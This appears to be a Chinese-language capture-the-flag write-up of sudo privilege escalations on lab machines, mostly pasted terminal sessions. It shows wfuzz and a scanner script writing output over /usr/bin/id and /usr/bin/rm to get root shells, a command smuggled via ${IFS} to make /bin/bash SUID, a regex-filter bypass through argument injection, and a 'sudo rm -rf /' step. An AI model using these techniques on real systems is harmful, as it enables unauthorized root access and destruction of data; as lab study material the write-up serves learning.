-bash-5.0$ sudo -l MatchingDefaults entries for tao on 111: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tao may run the following commands on 111: (ALL) NOPASSWD: /usr/bin/wfuzz (ALL) NOPASSWD: /usr/bin/id
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://127.0.0.1/FUZZ id
Total requests: 1
===================================================================== ID Response Lines Word Chars Payload =====================================================================
GET /flag{root-9bbd7af2a042a901b92dc203b3896621} id HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Wfuzz/3.1.0 Host: 127.0.0.1
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://127.0.0.1/FUZZ bash
Total requests: 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
-bash-5.0$ whoami tao -bash-5.0$ cat /usr/bin/id Target: http://127.0.0.1/FUZZ bash
Total requests: 1 ================================================================== ID Response Lines Word Chars Request ==================================================================
Total time: 0 Processed Requests: 0 Filtered Requests: 0 Requests/sec.: 0 -bash-5.0$ sudo /usr/bin/id /usr/bin/id: 1: /usr/bin/id: Target:: not found root@111:/home/tao#
参数解析与换行符注入 (Argument Injection)
这是利用中比较巧妙的“Trick”部分,用于控制写入文件的内容。
Shell 的引号处理:在 Linux Shell 中,单引号 '...' 内的内容会被视为纯字符串,包括换行符。
rin@meltdown:~$ cat /opt/repeater.sh #!/bin/bash main() { local user_input="$1"
ifecho"$user_input" | grep -qE '[;&|`$\\]'; then echo"错误:输入包含非法字符" return 1 fi ifecho"$user_input" | grep -qiE '(cat|ls|echo|rm|mv|cp|chmod)'; then echo"错误:输入包含危险关键字" return 1 fi ifecho"$user_input" | grep -qE '[[:space:]]'; then if ! echo"$user_input" | grep -qE '^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$'; then echo"错误:空格使用受限" return 1 fi fi echo"处理结果: $user_input" local sanitized_input=$(echo"$user_input" | tr -d '\n\r') eval"output=\"$sanitized_input\"" echo"最终输出: $output" } if [ $# -ne 1 ]; then echo"用法: $0 <输入内容>" exit 1 fi
main "$1"
这个过滤脚本虽然写了很多正则,但是仍然可以用上面的方法绕过脚本.
1 2 3 4 5 6 7 8 9
rin@meltdown:~$ sudo /opt/repeater.sh ')(" > id id > "' 处理结果: )(" id id " uid=0(root) gid=0(root) groups=0(root) 最终输出:
bash-5.0$ whoami tao bash-5.0$ cat /usr/bin/id Target:http://127.0.0.1/FUZZ Total requests:1 ================================================================== ID Response Lines Word Chars Request ================================================================== 00001: C=4049 L 31 W 271 Ch "flag{root-9bbd7af2a042a901b92dc203b3896621}"
Total time:0 Processed Requests:1 Filtered Requests:0 Requests/sec.: 0
bash-5.0$ sudo /usr/bin/id /usr/bin/id: 1: /usr/bin/id: Target:: not found /usr/bin/id: 2: /usr/bin/id: Total: not found /usr/bin/id: 3: /usr/bin/id: ==================================================================: not found /usr/bin/id: 4: /usr/bin/id: ID: not found /usr/bin/id: 5: /usr/bin/id: ==================================================================: not found /usr/bin/id: 6: /usr/bin/id: 00001:: not found /usr/bin/id: 8: /usr/bin/id: Total: not found /usr/bin/id: 9: /usr/bin/id: Processed: not found /usr/bin/id: 10: /usr/bin/id: Filtered: not found root@111:/home/tao#
tao@111:~$ sudo /usr/bin/wfuzz -c -z list,'";chmod${IFS}u+s${IFS}/bin/bash;echo"' -f /usr/bin/id http://127.0.0.1/FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurlis not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. CheckWfuzz's documentation for more information. ******************************************************** *Wfuzz3.1.0-TheWebFuzzer* ********************************************************
Total time: 0 ProcessedRequests: 1 FilteredRequests: 0 Requests/sec.: 0
tao@111:~$ sudo /usr/bin/id /usr/bin/id: 1: /usr/bin/id: Target:: not found /usr/bin/id: 2: /usr/bin/id: Total: not found /usr/bin/id: 3: /usr/bin/id: ==================================================================: not found /usr/bin/id: 4: /usr/bin/id: ID: not found /usr/bin/id: 5: /usr/bin/id: ==================================================================: not found /usr/bin/id: 6: /usr/bin/id: 00001:: not found
/usr/bin/id: 8: /usr/bin/id: Total: not found /usr/bin/id: 9: /usr/bin/id: Processed: not found /usr/bin/id: 10: /usr/bin/id: Filtered: not found /usr/bin/id: 11: /usr/bin/id: Requests/sec.:: not found tao@111:~$ ls -al /bin/bash -rwsr-xr-x 1 root root 1168776Apr182019/bin/bash
靶机来源:React
1 2 3 4 5 6 7 8
bot@React:~$ sudo -l MatchingDefaults entries for bot on React: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bot may run the following commands on React: (ALL) NOPASSWD: /opt/react2shell/scanner.py (ALL) NOPASSWD: /usr/bin/rm -rf /
optional arguments: -h, --help show this help message and exit -u URL, --url URL Single URL/host to check -l LIST, --list LIST File containing list of hosts (one per line) -t THREADS, --threads THREADS Number of concurrent threads (default: 10) --timeout TIMEOUT Request timeout in seconds (default: 10) -o OUTPUT, --output OUTPUT Output filefor results (JSON format) --all-results Save all results to output file, not just vulnerable hosts -k, --insecure Disable SSL certificate verification -H HEADER, --header HEADER Custom header in'Key: Value'format (can be used multiple times) -v, --verbose Verbose output (show response snippets for vulnerable hosts) -q, --quiet Quiet mode (only show vulnerable hosts) --no-color Disable colored output --safe-check Use safe side-channel detection instead of RCE PoC --windows Use Windows PowerShell payload instead of Unix shell --waf-bypass Add junk data to bypass WAF content inspection (default: 128KB) --waf-bypass-size KB Size of junk data in KB for WAF bypass (default: 128)
[*] Loaded 1 host(s) to scan [*] Using 10 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled
[ERROR] http://192.168.6.101/$(/bin/bash) - Connection Error: HTTPConnectionPool(host='192.168.6.101', port=80): Max retries exceeded with url: /$(/bin/bash)/ (Caused by NewConnectionError("HTTPConnection(host='192.168.6.101', port=80): Failed to establish a new connection: [Errno 101] Network is unreachable"))
[+] Results saved to: /usr/bin/rm bot@React:~$ sudo /usr/bin/rm -rf / /usr/bin/rm: 2: /usr/bin/rm: scan_time:: not found /usr/bin/rm: 3: /usr/bin/rm: total_results:: not found /usr/bin/rm: 4: /usr/bin/rm: results:: not found root@React:/home/bot#